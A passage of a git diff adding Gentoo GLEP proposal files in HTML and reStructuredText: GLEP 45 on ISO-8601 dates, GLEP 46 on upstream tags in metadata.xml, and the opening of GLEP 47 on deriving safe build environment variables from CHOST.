+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id3" name="id3">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id4" name="id4">Specification</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id5" name="id5">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id6" name="id6">References</a></li>
+<li><a class="reference" href="#copyright" id="id7" name="id7">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP proposes using an ISO-8601 compliant date format in GLEPs.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="motivation" name="motivation">Motivation</a></h1>
+<p>The current date format used in GLEPs is <tt class="docutils literal"><span class="pre">dd-mmm-yyyy</span></tt>
+(e.g. 14-Aug-2001). This format is not internationalized and not
+easily machine parseable.</p>
+<p>This GLEP proposes switching to using an ISO-8601 compliant date
+format <tt class="docutils literal"><span class="pre">yyyy-mm-dd</span></tt> (e.g. 2001-08-14). This format is international
+and easily machine parseable.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="specification" name="specification">Specification</a></h1>
+<p>An overview of the ISO-8601 specification is available online
+<a class="footnote-reference" href="#iso-8601" id="id1" name="id1">[1]</a>. Note that only the <tt class="docutils literal"><span class="pre">yyyy-mm-dd</span></tt> subset of the ISO-8601
+specification should be used in GLEPs.</p>
+<p>The date(1) utility supports ISO-8601, making it easy for GLEP authors
+to get the format right.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>GLEP 1 should be updated to reflect this new date format, and all
+dates in existing GLEPs should be changed to be ISO-8601 compliant.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="iso-8601" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="iso-8601">[1]</a></td><td>Numeric representation of Dates and Time,
+<a class="reference" href="http://www.iso.org/iso/en/prods-services/popstds/datesandtime.html">http://www.iso.org/iso/en/prods-services/popstds/datesandtime.html</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0045.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0045.txt b/xml/htdocs/proj/en/glep/glep-0045.txt
new file mode 100644
index 00000000..f396dc2d
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0045.txt
@@ -0,0 +1,54 @@
+GLEP: 45
+Title: GLEP date format
+Version: $Revision: 1.1 $
+Author: Henrik Brix Andersen <brix@gentoo.org>
+Last-Modified: $Date: 2005/12/13 22:42:27 $
+Status: Draft
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 13-Dec-2005
+Post-History: 13-Dec-2005
+
+Abstract
+========
+
+This GLEP proposes using an ISO-8601 compliant date format in GLEPs.
+
+Motivation
+==========
+
+The current date format used in GLEPs is ``dd-mmm-yyyy``
+(e.g. 14-Aug-2001). This format is not internationalized and not
+easily machine parseable.
+
+This GLEP proposes switching to using an ISO-8601 compliant date
+format ``yyyy-mm-dd`` (e.g. 2001-08-14). This format is international
+and easily machine parseable.
+
+Specification
+=============
+
+An overview of the ISO-8601 specification is available online
+[#iso-8601]_. Note that only the ``yyyy-mm-dd`` subset of the ISO-8601
+specification should be used in GLEPs.
+
+The date(1) utility supports ISO-8601, making it easy for GLEP authors
+to get the format right.
+
+Backwards Compatibility
+=======================
+
+GLEP 1 should be updated to reflect this new date format, and all
+dates in existing GLEPs should be changed to be ISO-8601 compliant.
+
+References
+==========
+
+.. [#iso-8601] Numeric representation of Dates and Time,
+     http://www.iso.org/iso/en/prods-services/popstds/datesandtime.html
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0046.html b/xml/htdocs/proj/en/glep/glep-0046.html
new file mode 100644
index 00000000..a78e1415
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0046.html
@@ -0,0 +1,189 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 46 -- Allow upstream tags in metadata.xml</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0046.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">46</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Allow upstream tags in metadata.xml</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0046.txt?cvsroot=gentoo">2008/05/10 07:50:43</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Marcelo Goes &lt;vanquirius&#32;&#97;t&#32;gentoo.org&gt;, Ciaran McCreesh &lt;ciaranm&#32;&#97;t&#32;gentoo.org&gt;, Tiziano Müller &lt;dev-zero&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Accepted</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">26-Dec-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">26-Dec-2005, 5-Mar-2006, 24-Jan-2008, 10-May-2008</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id3" name="id3">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id4" name="id4">Specification</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id5" name="id5">Backwards Compatibility</a></li>
+<li><a class="reference" href="#notes" id="id6" name="id6">Notes</a></li>
+<li><a class="reference" href="#copyright" id="id7" name="id7">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>Tree <tt class="docutils literal"><span class="pre">metadata.xml</span></tt> files are currently used to specify maintainer and
+description information for packages. This GLEP proposes extensions to
+<tt class="docutils literal"><span class="pre">metadata.xml</span></tt> to allow storage of information about upstream.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="motivation" name="motivation">Motivation</a></h1>
+<p>The range of upstream-related data currently available to developers and
+tool authors is currently limited to <tt class="docutils literal"><span class="pre">DESCRIPTION</span></tt> and <tt class="docutils literal"><span class="pre">HOMEPAGE</span></tt> in
+ebuilds.</p>
+<p>There have been several attempts at creating tools that check a
+package's versions against Freshmeat to see whether an ebuild version
+bump is required. Currently identifying a package's Freshmeat entry is a
+matter of guesswork, and not something that can reliably be automated.</p>
+<p>Similarly, various scripts exist to check a package's status against a
+specialist external data source. One of the authors, for example, has a
+shell script hack that tries to determine whether any <tt class="docutils literal"><span class="pre">app-vim</span></tt>
+packages need bumping by checking the associated <tt class="docutils literal"><span class="pre">vim.org</span></tt> script
+page. Again, tying packages to external data source entries is not
+particulaly straight forward.</p>
+<p>Making additional upstream-related data easily available will have other
+benefits:</p>
+<ul class="simple">
+<li>It will allow systems such as the Packages website to provide more
+useful information to end users.</li>
+<li>It will reduce the time spent by developers trying to find how to
+contact upstream.</li>
+<li>It will give treecleaners additional information to decide whether
+a package can be removed from the tree.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="specification" name="specification">Specification</a></h1>
+<p><tt class="docutils literal"><span class="pre">metadata.dtd</span></tt> should allow the use of a upstream tag in
+<tt class="docutils literal"><span class="pre">metadata.xml</span></tt>.  Inside the upstream tag, developers should be able to
+add upstream related information.</p>
+<p>This GLEP defines the following five tags for <tt class="docutils literal"><span class="pre">upstream</span></tt>:
+<tt class="docutils literal"><span class="pre">maintainer</span></tt>, <tt class="docutils literal"><span class="pre">changelog</span></tt>, <tt class="docutils literal"><span class="pre">bugs-to</span></tt>, <tt class="docutils literal"><span class="pre">remote-id</span></tt> and <tt class="docutils literal"><span class="pre">doc</span></tt> none of
+which are mandatory. Future GLEPs may extend this -- tools processing
+metadata.xml should ignore unrecognized elements.</p>
+<p><tt class="docutils literal"><span class="pre">maintainer</span></tt> can contain the tags <tt class="docutils literal"><span class="pre">name</span></tt> and <tt class="docutils literal"><span class="pre">email</span></tt>, indicating
+the person or organization responsible for upstream maintainership of
+the package. The tag may appear more than once.</p>
+<p>The <tt class="docutils literal"><span class="pre">maintainer</span></tt> element has a <tt class="docutils literal"><span class="pre">status</span></tt> attribute, which is one of
+<tt class="docutils literal"><span class="pre">active</span></tt> or <tt class="docutils literal"><span class="pre">inactive</span></tt>. This attribute is not mandatory. The absence of it
+shall be interpreted as <tt class="docutils literal"><span class="pre">unknown</span></tt>.</p>
+<p>The <tt class="docutils literal"><span class="pre">maintainer</span></tt> element can be the same as the top-level <tt class="docutils literal"><span class="pre">maintainer</span></tt>
+element in cases where a developer decides to maintain the package in
+addition to/instead of the original upstream. In such cases a <tt class="docutils literal"><span class="pre">maintainer</span></tt>
+entry for the original upstream should be present.</p>
+<p><tt class="docutils literal"><span class="pre">name</span></tt> should contain a block of text with upstream's name, is mandatory
+and can only appear once.</p>
+<p><tt class="docutils literal"><span class="pre">email</span></tt> should contain an e-mail address in the format <tt class="docutils literal"><span class="pre">foo&#64;bar.bar</span></tt>.</p>
+<p><tt class="docutils literal"><span class="pre">changelog</span></tt> should contain a URL where the location of the upstream
+changelog can be found. The URL must be version independent and must point to
+a changelog which is only updated on new releases of the corresponding
+package. (This also implies that one can link to an automatically updated
+changelog in case of vcs snapshots only.)</p>
+<p><tt class="docutils literal"><span class="pre">doc</span></tt> should contain a URL where the location of the upstream
+documentation can be found. The link must not point to any third party
+documentation and must be version independent. If the documentation is
+available in more than one language, a <tt class="docutils literal"><span class="pre">lang</span></tt> attribute can be used
+which follows the same rules as the one for <tt class="docutils literal"><span class="pre">longdescription</span></tt>.</p>
+<p><tt class="docutils literal"><span class="pre">bugs-to</span></tt> should contain a place where bugs can be filed, a URL or an
+e-mail address prefixed with <tt class="docutils literal"><span class="pre">mailto:</span></tt>.</p>
+<p><tt class="docutils literal"><span class="pre">remote-id</span></tt> should specify a type of package identification tracker
+and the identification that corresponds to the package in question.
+<tt class="docutils literal"><span class="pre">remote-id</span></tt> should make it easier to index information such as its
+Freshmeat ID or its CPAN name.</p>
+<p>The <tt class="docutils literal"><span class="pre">remote-id</span></tt> element has a <tt class="docutils literal"><span class="pre">type</span></tt> attribute, which is a string
+identifying the type of upstream source. Examples are <tt class="docutils literal"><span class="pre">freshmeat</span></tt>, in
+which case the element content should be the Freshmeat ID or <tt class="docutils literal"><span class="pre">vim</span></tt>, in
+which case the element content should be the <tt class="docutils literal"><span class="pre">vim.org</span></tt> script
+identifier. This GLEP does not specify a complete list of legal values
+for <tt class="docutils literal"><span class="pre">type</span></tt> -- developers should email the <tt class="docutils literal"><span class="pre">gentoo-dev</span></tt> mailing list
+before using a new <tt class="docutils literal"><span class="pre">type</span></tt> value. The list of valid tags should be kept
+in <tt class="docutils literal"><span class="pre">metadata/dtd/remote-id-tags.dtd</span></tt> or <tt class="docutils literal"><span class="pre">metadata/dtd/metadata.dtd</span></tt>.</p>
+<p>For example, a <tt class="docutils literal"><span class="pre">metadata.xml</span></tt> upstream snippet may look like:</p>
+<pre class="literal-block">
+&lt;upstream&gt;
+        &lt;maintainer status=&quot;inactive&quot;&gt;
+                &lt;name&gt;Foo Bar&lt;/name&gt;
+                &lt;email&gt;foo&#64;bar.bar&lt;/email&gt;
+        &lt;/maintainer&gt;
+        &lt;maintainer status=&quot;active&quot;&gt;
+                &lt;name&gt;Foo Gentoo&lt;/name&gt;
+                &lt;email&gt;foo&#64;gentoo.org&lt;/email&gt;
+        &lt;/maintainer&gt;
+        &lt;changelog&gt;http://foo.bar/changelog.txt&lt;/changelog&gt;
+        &lt;doc lang=&quot;en&quot;&gt;http://foo.bar/doc/index.html&lt;/doc&gt;
+        &lt;doc lang=&quot;de&quot;&gt;http://foo.bar/doc/index.de.html&lt;/doc&gt;
+        &lt;bugs-to&gt;https://bugs.foo.bar&lt;/bugs-to&gt;
+        &lt;remote-id type=&quot;freshmeat&quot;&gt;foobar&lt;/remote-id&gt;
+        &lt;remote-id type=&quot;sourceforge&quot;&gt;foobar&lt;/remote-id&gt;
+&lt;/upstream&gt;
+</pre>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>No changes are necessary to existing <tt class="docutils literal"><span class="pre">metadata.xml</span></tt> files. Information
+in the new tags is not mandatory. Tools that currently read
+<tt class="docutils literal"><span class="pre">metadata.xml</span></tt> files may break if written poorly; well written tools
+should just ignore the additional elements.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="notes" name="notes">Notes</a></h1>
+<p>The specified URLs must include a protocol as described in <a class="reference" href="http://www.faqs.org/rfcs/rfc3986.html">RFC 3986</a>.
+Furthermore the most common protocol should be used in case of several
+possibilities (http should be favoured over https or ftp over gopher or svn,
+etc).</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+<!-- vim: set ft=glep tw=72 : -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0046.txt">View document source</a>.
+Generated on: 2008-05-10 07:51 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0046.txt b/xml/htdocs/proj/en/glep/glep-0046.txt
new file mode 100644
index 00000000..4b5774bc
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0046.txt
@@ -0,0 +1,152 @@
+GLEP: 46
+Title: Allow upstream tags in metadata.xml
+Version: $Revision: 1.6 $
+Last-Modified: $Date: 2008/05/10 07:50:43 $
+Author: Marcelo Goes <vanquirius@gentoo.org>, Ciaran McCreesh <ciaranm@gentoo.org>, Tiziano Müller <dev-zero@gentoo.org>
+Status: Accepted
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 26-Dec-2005
+Post-History: 26-Dec-2005, 5-Mar-2006, 24-Jan-2008, 10-May-2008
+
+Abstract
+========
+
+Tree ``metadata.xml`` files are currently used to specify maintainer and
+description information for packages. This GLEP proposes extensions to
+``metadata.xml`` to allow storage of information about upstream.
+
+Motivation
+==========
+
+The range of upstream-related data currently available to developers and
+tool authors is currently limited to ``DESCRIPTION`` and ``HOMEPAGE`` in
+ebuilds.
+
+There have been several attempts at creating tools that check a
+package's versions against Freshmeat to see whether an ebuild version
+bump is required. Currently identifying a package's Freshmeat entry is a
+matter of guesswork, and not something that can reliably be automated.
+
+Similarly, various scripts exist to check a package's status against a
+specialist external data source. One of the authors, for example, has a
+shell script hack that tries to determine whether any ``app-vim``
+packages need bumping by checking the associated ``vim.org`` script
+page. Again, tying packages to external data source entries is not
+particulaly straight forward.
+
+Making additional upstream-related data easily available will have other
+benefits:
+
+* It will allow systems such as the Packages website to provide more
+  useful information to end users.
+
+* It will reduce the time spent by developers trying to find how to
+  contact upstream.
+
+* It will give treecleaners additional information to decide whether
+  a package can be removed from the tree.
+
+Specification
+=============
+
+``metadata.dtd`` should allow the use of a upstream tag in
+``metadata.xml``.  Inside the upstream tag, developers should be able to
+add upstream related information.
+
+This GLEP defines the following five tags for ``upstream``:
+``maintainer``, ``changelog``, ``bugs-to``, ``remote-id`` and ``doc`` none of
+which are mandatory. Future GLEPs may extend this -- tools processing
+metadata.xml should ignore unrecognized elements.
+
+``maintainer`` can contain the tags ``name`` and ``email``, indicating
+the person or organization responsible for upstream maintainership of
+the package. The tag may appear more than once.
+
+The ``maintainer`` element has a ``status`` attribute, which is one of
+``active`` or ``inactive``. This attribute is not mandatory. The absence of it
+shall be interpreted as ``unknown``.
+
+The ``maintainer`` element can be the same as the top-level ``maintainer``
+element in cases where a developer decides to maintain the package in
+addition to/instead of the original upstream. In such cases a ``maintainer``
+entry for the original upstream should be present.
+
+``name`` should contain a block of text with upstream's name, is mandatory
+and can only appear once.
+
+``email`` should contain an e-mail address in the format ``foo@bar.bar``.
+
+``changelog`` should contain a URL where the location of the upstream
+changelog can be found. The URL must be version independent and must point to
+a changelog which is only updated on new releases of the corresponding
+package. (This also implies that one can link to an automatically updated
+changelog in case of vcs snapshots only.)
+
+``doc`` should contain a URL where the location of the upstream
+documentation can be found. The link must not point to any third party
+documentation and must be version independent. If the documentation is
+available in more than one language, a ``lang`` attribute can be used
+which follows the same rules as the one for ``longdescription``.
+
+``bugs-to`` should contain a place where bugs can be filed, a URL or an
+e-mail address prefixed with ``mailto:``.
+
+``remote-id`` should specify a type of package identification tracker
+and the identification that corresponds to the package in question.
+``remote-id`` should make it easier to index information such as its
+Freshmeat ID or its CPAN name.
+
+The ``remote-id`` element has a ``type`` attribute, which is a string
+identifying the type of upstream source. Examples are ``freshmeat``, in
+which case the element content should be the Freshmeat ID or ``vim``, in
+which case the element content should be the ``vim.org`` script
+identifier. This GLEP does not specify a complete list of legal values
+for ``type`` -- developers should email the ``gentoo-dev`` mailing list
+before using a new ``type`` value. The list of valid tags should be kept
+in ``metadata/dtd/remote-id-tags.dtd`` or ``metadata/dtd/metadata.dtd``.
+
+For example, a ``metadata.xml`` upstream snippet may look like::
+
+	<upstream>
+		<maintainer status="inactive">
+			<name>Foo Bar</name>
+			<email>foo@bar.bar</email>
+		</maintainer>
+		<maintainer status="active">
+			<name>Foo Gentoo</name>
+			<email>foo@gentoo.org</email>
+		</maintainer>
+		<changelog>http://foo.bar/changelog.txt</changelog>
+		<doc lang="en">http://foo.bar/doc/index.html</doc>
+		<doc lang="de">http://foo.bar/doc/index.de.html</doc>
+		<bugs-to>https://bugs.foo.bar</bugs-to>
+		<remote-id type="freshmeat">foobar</remote-id>
+		<remote-id type="sourceforge">foobar</remote-id>
+	</upstream>
+
+
+Backwards Compatibility
+=======================
+
+No changes are necessary to existing ``metadata.xml`` files. Information
+in the new tags is not mandatory. Tools that currently read
+``metadata.xml`` files may break if written poorly; well written tools
+should just ignore the additional elements.
+
+Notes
+=====
+
+The specified URLs must include a protocol as described in RFC 3986.
+Furthermore the most common protocol should be used in case of several
+possibilities (http should be favoured over https or ftp over gopher or svn,
+etc).
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+.. vim: set ft=glep tw=72 :
+
diff --git a/xml/htdocs/proj/en/glep/glep-0047.html b/xml/htdocs/proj/en/glep/glep-0047.html
new file mode 100644
index 00000000..754ef101
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0047.html
@@ -0,0 +1,302 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 47 -- Creating 'safe' environment variables</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0047.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">47</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Creating 'safe' environment variables</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0047.txt?cvsroot=gentoo">2007/07/22 10:03:18</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Diego Pettenò, Fabian Groffen</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Rejected</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">14-Oct-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">09-Feb-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#credits" id="id5" name="id5">Credits</a></li>
+<li><a class="reference" href="#abstract" id="id6" name="id6">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id7" name="id7">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id8" name="id8">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id9" name="id9">Backwards Compatibility</a></li>
+<li><a class="reference" href="#specification" id="id10" name="id10">Specification</a><ul>
+<li><a class="reference" href="#variable-assignment" id="id11" name="id11">Variable Assignment</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#references" id="id12" name="id12">References</a></li>
+<li><a class="reference" href="#copyright" id="id13" name="id13">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="credits" name="credits">Credits</a></h1>
+<p>The text of this GLEP is a result of a discussion and input of the
+following persons, in no particular order: Mike Frysinger, Diego
+Pettenò, Fabian Groffen and Finn Thain.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="abstract" name="abstract">Abstract</a></h1>
+<p>In order for ebuilds and eclasses to be able to make host specific
+decisions, it is necessary to have a number of environmental variables
+which allow for such decisions.  This GLEP introduces some measures that
+need to be made to make these decisions 'safe', by making sure the
+variables the decisions are based on are 'safe'.  A small overlap with
+GLEP 22 <a class="footnote-reference" href="#id3" id="id1" name="id1">[1]</a> is being handled in this GLEP where the use of 2-tuple
+keywords are being kept instead of 4-tuple keywords.  Additionally, the
+<tt class="docutils literal"><span class="pre">ELIBC</span></tt>, <tt class="docutils literal"><span class="pre">KERNEL</span></tt> and <tt class="docutils literal"><span class="pre">ARCH</span></tt> get auto filled starting from
+<tt class="docutils literal"><span class="pre">CHOST</span></tt> and the 2-tuple keyword, instead of solely from they 4-tuple
+keyword as proposed in GLEP 22.</p>
+<p>The destiny of the <tt class="docutils literal"><span class="pre">USERLAND</span></tt> variable is out of the scope of this
+GLEP.  Depending on its presence in the tree, it may be decided to set
+this variable the same way we propose to set <tt class="docutils literal"><span class="pre">ELIBC</span></tt>, <tt class="docutils literal"><span class="pre">KERNEL</span></tt> and
+<tt class="docutils literal"><span class="pre">ARCH</span></tt>, or alternatively, e.g. via the profiles.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="motivation" name="motivation">Motivation</a></h1>
+<p>The Gentoo/Alt project is in an emerging state to get ready to serve a
+plethora of 'alternative' configurations such as FreeBSD, NetBSD,
+DragonflyBSD, GNU/kFreeBSD, Mac OS X, (Open)Darwin, (Open)Solaris and so
+on.  As such, the project is in need for a better grip on the actual
+host being built on.  This information on the host environment is
+necessary to make proper (automated) decisions on settings that are
+highly dependant on the build environment, such as platform or C-library
+implementation.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="rationale" name="rationale">Rationale</a></h1>
+<p>Gentoo's unique Portage system allows easy installation of applications
+from source packages.  Compiling sources is prone to many environmental
+settings and availability of certain tools.  Only recently the Gentoo
+for FreeBSD project has started, as second Gentoo project that operates
+on a foreign host operating system using foreign (non-GNU) C-libraries
+and userland utilities.  Such projects suffer from the current implicit
+assumption made within Gentoo Portage's ebuilds that there is a single
+type of operating system, C-libraries and system utilities.  In order to
+enable ebuilds -- and also eclasses -- to be aware of these
+environmental differences, information regarding it should be supplied.
+Since decisions based on this information can be vital, it is of high
+importance that this information can be trusted and the values can be
+considered 'safe' and correct.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>The proposed keywording scheme in this GLEP is fully compatible with the
+current situation of the portage tree, this in contrast to GLEP 22.  The
+variables provided by GLEP 22 can't be extracted from the new keyword,
+but since GLEP 22-style keywords aren't in the tree at the moment, that
+is not a problem.  The same information can be extracted from the CHOST
+variable, if necessary.  No modifications to ebuilds will have to be
+made.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="specification" name="specification">Specification</a></h1>
+<p>Unlike GLEP 22 the currently used keyword scheme is not changed.
+Instead of proposing a 4-tuple <a class="footnote-reference" href="#id4" id="id2" name="id2">[2]</a> keyword, a 2-tuple keyword is chosen
+for archs that require them.  Archs for which a 1-tuple keyword
+suffices, can keep that keyword.  Since this doesn't change anything to
+the current situation in the tree, it is considered to be a big
+advantage over the 4-tuple keyword from GLEP 22.  This GLEP is an
+official specification of the syntax of the keyword.</p>
+<p>Keywords will consist out of two parts separated by a hyphen ('-').  The
+part up to the first hyphen from the left of the keyword 2-tuple is the
+architecture, such as ppc64, sparc and x86.  Allowed characters for the
+architecture name are in <tt class="docutils literal"><span class="pre">a-z0-9</span></tt>.  The remaining part on the right of
+the first hyphen from the left indicates the operating system or
+distribution, such as linux, macos, darwin, obsd, et-cetera.  If the
+right hand part is omitted, it implies the operating system/distribution
+type is Gentoo GNU/Linux.  In such case the hyphen is also omitted, and
+the keyword consists of solely the architecture.  The operating system
+or distribution name can consist out of characters in <tt class="docutils literal"><span class="pre">a-zA-Z0-9_+:-</span></tt>.
+Please note that the hyphen is an allowed character, and therefore the
+separation of the two fields in the keyword is only determinable by
+scanning for the first hyphen character from the start of the keyword
+string.  Examples of keywords following this specification are
+ppc-darwin and x86.  This is fully compatible with the current use of
+keywords in the tree.</p>
+<p>The variables <tt class="docutils literal"><span class="pre">ELIBC</span></tt>, <tt class="docutils literal"><span class="pre">KERNEL</span></tt> and <tt class="docutils literal"><span class="pre">ARCH</span></tt> are currently set in
+the profiles when other than their defaults for a GNU/Linux system.
+They can as such easily be overridden and defined by the user.  To
+prevent this from happening, the variables should be auto filled by
+Portage itself, based on the <tt class="docutils literal"><span class="pre">CHOST</span></tt> variable.  While the <tt class="docutils literal"><span class="pre">CHOST</span></tt>
+variable can be as easy as the others set by the user, it still is
+assumed to be 'safe'.  This assumption is grounded in the fact that the
+variable itself is being used in various other places with the same
+intention, and that an invalid <tt class="docutils literal"><span class="pre">CHOST</span></tt> will cause major malfunctioning
